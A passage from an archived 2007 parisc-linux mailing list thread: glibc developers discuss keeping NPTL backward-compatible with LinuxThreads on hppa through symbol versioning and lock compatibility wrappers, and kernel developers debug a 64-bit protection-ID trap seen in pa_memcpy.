	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 19:42:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19497-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 19:42:06 -0700 (MST)
Original-Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.152])
	by free.linux.hp.com (Postfix) with ESMTP id 262227DAA1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Feb 2007 19:42:06 -0700 (MST)
Original-Received: from gateway.sf.frob.com
	(c-24-5-197-144.hsd1.ca.comcast.net[24.5.197.144])
	by comcast.net (rwcrmhc12) with ESMTP
	id <20070223024204m1200jb5o0e>; Fri, 23 Feb 2007 02:42:05 +0000
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 4F994357B; Thu, 22 Feb 2007 18:42:02 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 1175E1800E4; Thu, 22 Feb 2007 18:42:02 -0800 (PST)
In-Reply-To: Carlos O'Donell's message of  Sunday,
	18 February 2007 18:22:25 -0500
	<119aab440702181522p517493e0gd4dcc8be753fd225@mail.gmail.com>
Emacs: because idle RAM is the Devil's playground.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sWbtcYsnX1VpteuYY2FyXJ93SDc4NAwG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24389

> All statically initialized locks are broken. We made locks smaller,
> and changed the value of the static initialization.

Smaller?  Smaller is easy.  And you didn't actually reduce
__SIZEOF_PTHREAD_MUTEX_T, did you?  This seems like it would not be at all
hard to accommodate just with symbol versioning and not break any
compatibility.  Off hand, it seems like it would be some simple code in one
new file in your sysdeps/ tree and a smattering of sysdeps Versions files.

But if your community is happy with a soname change and not worrying about
its various impacts, by all means just do that.  It's a lovely thing to be
able to stop compiling in all the compat stuff.

To do that, all you need is sysdeps/unix/sysv/linux/hppa/nptl/shlib-versions:

hppa.*-.*-linux.*	libc=6.1		GLIBC_2.6
hppa.*-.*-linux.*	libpthread=0.1		GLIBC_2.6

If there is any linuxthreads configuration still possible, that would leave
it producing libc.so.6/libpthread.so.0.  If that really can never be any
more, probably better to put the libc line in
sysdeps/unix/sysv/linux/hppa/shlib-versions. 


Thanks,
Roland
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NPTL for hppa-linux is not backwards
	compatible with Linuxthreads.
Date: Fri, 23 Feb 2007 05:09:38 -0800 (PST)
Lines: 115
Approved: news@gmane.org
Message-ID: <20070223130938.BA1BD180076__27502.413505181$1416624310$gmane$org@magilla.sf.frob.com>
References: <119aab440702222125m1f144002l2ec36c37b68da101@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624310 23030 80.91.229.3 (22 Nov 2014 02:45:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:10 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 libc-ports@sourceware.org,
 Aurelien Jarno <aurel32@debian.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2007 13:09:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 23 Feb 2007 14:09:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF9127DB26;
	Fri, 23 Feb 2007 06:09:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23649-03; Fri, 23 Feb 2007 06:09:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B8637DB2E;
	Fri, 23 Feb 2007 06:09:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 886217DB1F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 06:09:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23558-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 06:09:42 -0700 (MST)
Original-Received: from alnrmhc14.comcast.net (alnrmhc14.comcast.net [204.127.225.94])
	by free.linux.hp.com (Postfix) with ESMTP id C2DFC7DB1C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 06:09:42 -0700 (MST)
Original-Received: from gateway.sf.frob.com
	(c-24-5-197-144.hsd1.ca.comcast.net[24.5.197.144])
	by comcast.net (alnrmhc14) with ESMTP
	id <20070223130941b1400446bie>; Fri, 23 Feb 2007 13:09:41 +0000
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 08DDC357B; Fri, 23 Feb 2007 05:09:38 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id BA1BD180076; Fri, 23 Feb 2007 05:09:38 -0800 (PST)
In-Reply-To: Carlos O'Donell's message of  Friday,
	23 February 2007 00:25:17 -0500
	<119aab440702222125m1f144002l2ec36c37b68da101@mail.gmail.com>
Emacs: because extension languages should come with the editor built in.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kdXsdtVZPTRts+jGPjIwzVoxc2tpZAvr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24390

> In the new structure we have shifted everything up because __lock is
> now an integer, instead of a _pthread_fastlock with a 4 word lock
> structure. Should I add padding after "__lock" e.g. int pad[3]?

Yes, you must dedicate those words to compatibility only.

> In an old executable the following static initializers:
> PTHREAD_MUTEX_INITIALIZER, PTHREAD_COND_INTIALIZER,
> PTHREAD_RWLOCK_INITIALIZER will setup the __spinlock structure to
> {1,1,1,1} e.g. unlocked in our Linuxthreads implementation.
> 
> To be clear are you suggesting I write compat wrappers for the
> pthread_mutex_*, pthread_cond_*, and pthread_rwlock_* functions to
> detect old style initialized locks, and reinitialize the lock word?

Yes.  The only ABIs affected are all functions taking pthread_mutex_t,
pthread_cond_t, or pthread_rwlock_t pointer arguments--except for
pthread_*_init, which are not affected because their only ABI contract is
the minimum size and alignment of available space at the pointer passed,
which hasn't gotten smaller.

Add sysdeps/unix/sysv/linux/hppa/nptl/Versions, with:

libc {
  GLIBC_2.6 {
    pthread_mutex_lock;
    ...all the affected symbols...
  }
}
libpthread {
  GLIBC_2.6 {
    pthread_mutex_lock;
    ...all the affected symbols...
  }
}

This is enough for the real functions all to get defined in the GLIBC_2.6
version set for ones that don't already have compatibility functions.  Some
pthread_cond functions already have compatibility functions for GLIBC_2.0,
and the way this is done means that GLIBC_2.3.2 is directly specified as
the version set in the declarations.  So you'll also have to override
nptl/forward.c in sysdeps/unix/sysv/linux/hppa/nptl/, probably just copy
and modify it.  For the affected functions there that have e.g.:

versioned_symbol (libc, __pthread_cond_broadcast, pthread_cond_broadcast,
		  GLIBC_2_3_2);

you need to change this to GLIBC_2_6 here.  That gets all the new functions
into the right version set.

Then for the existing compat stuff like:

#if SHLIB_COMPAT(libc, GLIBC_2_0, GLIBC_2_3_2)
strong_alias (__pthread_cond_broadcast, __pthread_cond_broadcast_2_0)
compat_symbol (libc, __pthread_cond_broadcast_2_0, pthread_cond_broadcast,
	       GLIBC_2_0);
#endif

You need to instead make it:

strong_alias (__pthread_cond_broadcast_2_3_2, __pthread_cond_broadcast_2_0)

Somewhere else like a new compat file you can define the compat routines:

	static void
	compat_mutex_init (pthread_mutex_t *p)
	{
	  if ((p->__data.__lock ^ p->__data.__pad[0]
	       ^ p->__data.__pad[1] ^ p->__data.__pad[2]) == 1)
	    p->__data.__lock = p->__data.__pad[0]
	      = p->__data.__pad[1] = p->__data.__pad[2] = 0;
	}

	int
	__pthread_mutex_lock_2_3_2 (pthread_mutex_t *p)
	{
	  compat_mutex_init (p);
	  return __pthread_mutex_lock (p);
	}

	...

That goes inside:
	 #ifdef SHLIB_COMPAT (libpthread, GLIBC_2_3_2, GLIBC_2_6)

Those same wrappers can go in libc (might as well be pulled into
forward.c), and there SHLIB_COMPAT (libc, ...) is what needs to be tested.
(You could use some more macro testing and #include the same source into
forward.c for libc.so that is compiled as an extra object for libpthread.)

Because of versioned_symbol uses you'll need to add wrapper files for
pthread_cond_destroy.c et al that define the functions whose version set
you're changing (only the ones that use versioned_symbol).  They can do:

#ifndef INCLUDED_SELF
# define INCLUDED_SELF
# include <pthread_cond_destroy.c>
#else
# include <shlib-compat.h>
# undef GLIBC_2_3_2
# define GLIBC_2_3_2 GLIBC_2_6
# include_next <pthread_cond_destroy.c>
#endif

I think that about covers it.


Thanks,
Roland
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
	tst-fork1.
Date: Fri, 23 Feb 2007 15:23:29 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1172265809.3424.75.camel__42411.8842500777$1416624310$gmane$org@mulgrave.il.steeleye.com>
References: <119aab440702201034i501f5986l3381456035de0699@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624310 23031 80.91.229.3 (22 Nov 2014 02:45:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2007 21:23:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 23 Feb 2007 22:23:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2D507DAB7;
	Fri, 23 Feb 2007 14:23:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27760-04; Fri, 23 Feb 2007 14:23:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A18C67DA23;
	Fri, 23 Feb 2007 14:23:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E47B7D996
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 14:23:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27414-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 14:23:33 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 9CCF37D957
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 14:23:32 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1NLNTx01780; 
	Fri, 23 Feb 2007 16:23:30 -0500
In-Reply-To: <119aab440702201034i501f5986l3381456035de0699@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VWPpdNZdYmYSwOnCanc37hZKWkZTQVSG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24391

On Tue, 2007-02-20 at 13:34 -0500, Carlos O'Donell wrote:
> sr00-03  00000000000e2800 00000000000e2800 0000000000000000 00000000000e2800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040334894 0000000040334898
>  IIR: 0ec25033    ISR: 00000000000e2800  IOR: 00000000000aac8c
                         ^^^^^^^^^^^^^^^^
This clearly identifies the faulting space

>  CPU:        0   CR30: 000000009ad38000 CR31: 0000000040848000
>  ORIG_R28: 00000000407f6c00
>  IAOQ[0]: pa_memcpy+0x114/0x2d0
>  IAOQ[1]: pa_memcpy+0x118/0x2d0
>  RP(r2): copy_from_user+0x34/0x40
> Backtrace:

Which means that somehow a TLB entry got inserted for address
00000000000aac8c in space 00000000000e2800 which didn't have the correct
Access ID (which for us should have been the space 00000000000e2800).

Or, that %cr8 somehow doesn't contain the space 00000000000e2800 ... but
I think that's a bit more unlikely.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
	tst-fork1.
Date: Fri, 23 Feb 2007 18:19:08 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <1172276348.3424.80.camel__5861.58105074919$1416624310$gmane$org@mulgrave.il.steeleye.com>
References: <119aab440702201034i501f5986l3381456035de0699@mail.gmail.com>
	<1172265809.3424.75.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624310 23037 80.91.229.3 (22 Nov 2014 02:45:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2007 00:19:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 24 Feb 2007 01:19:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EC7E7DAAD;
	Fri, 23 Feb 2007 17:19:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28488-07; Fri, 23 Feb 2007 17:19:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F7D27DAAE;
	Fri, 23 Feb 2007 17:19:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 222847DAAC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:19:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28488-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:19:11 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 23D697DA96
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:19:11 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1O0J8x10588; 
	Fri, 23 Feb 2007 19:19:08 -0500
In-Reply-To: <1172265809.3424.75.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5+m9EaNObXBt87qHPTQ2XLIqLyUmZci4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24392

On Fri, 2007-02-23 at 15:23 -0600, James Bottomley wrote:
> Which means that somehow a TLB entry got inserted for address
> 00000000000aac8c in space 00000000000e2800 which didn't have the correct
> Access ID (which for us should have been the space 00000000000e2800).
> 
> Or, that %cr8 somehow doesn't contain the space 00000000000e2800 ... but
> I think that's a bit more unlikely.

Actually, I've changed my mind ... I don't think there's any way we can
get the TLB marked with the wrong Access ID (but if we do there's no way
to get it out of the fault data).  Could you add a printout of %cr8 and
current->comm to the data for the protection id trap in
arch/parisc/kernel/traps.c and tell me what it prints?

Thanks,

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Fri, 23 Feb 2007 19:39:12 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200702240039.l1O0dCxG017471__35284.1418156915$1416624311$gmane$org@hiauly1.hia.nrc.ca>
References: <1172265809.3424.75.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624311 23045 80.91.229.3 (22 Nov 2014 02:45:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2007 00:39:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 24 Feb 2007 01:39:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17F057DAC1;
	Fri, 23 Feb 2007 17:39:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28983-05; Fri, 23 Feb 2007 17:39:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B3687DAB3;
	Fri, 23 Feb 2007 17:39:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 042167DA81
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:39:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28983-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:39:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3DAFD7D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 17:39:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1O0dDnp017472;
	Fri, 23 Feb 2007 19:39:13 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1O0dCxG017471;
	Fri, 23 Feb 2007 19:39:12 -0500 (EST)
In-Reply-To: <1172265809.3424.75.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 23, 2007 03:23:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cfy+Ie9Ya0Ao4b6aejEz5b43Njh6dI6F
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24393

> >  IIR: 0ec25033    ISR: 00000000000e2800  IOR: 00000000000aac8c
>                          ^^^^^^^^^^^^^^^^
> This clearly identifies the faulting space

This is for
	ldb,ma 1(sr1,r22),r19

> >  CPU:        0   CR30: 000000009ad38000 CR31: 0000000040848000
> >  ORIG_R28: 00000000407f6c00
> >  IAOQ[0]: pa_memcpy+0x114/0x2d0
> >  IAOQ[1]: pa_memcpy+0x118/0x2d0
> >  RP(r2): copy_from_user+0x34/0x40
> > Backtrace:
> 
> Which means that somehow a TLB entry got inserted for address
> 00000000000aac8c in space 00000000000e2800 which didn't have the correct
> Access ID (which for us should have been the space 00000000000e2800).

Just wondering why a protection id trap causes the system to eat sparcs...
Is this a combined TLB issue?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
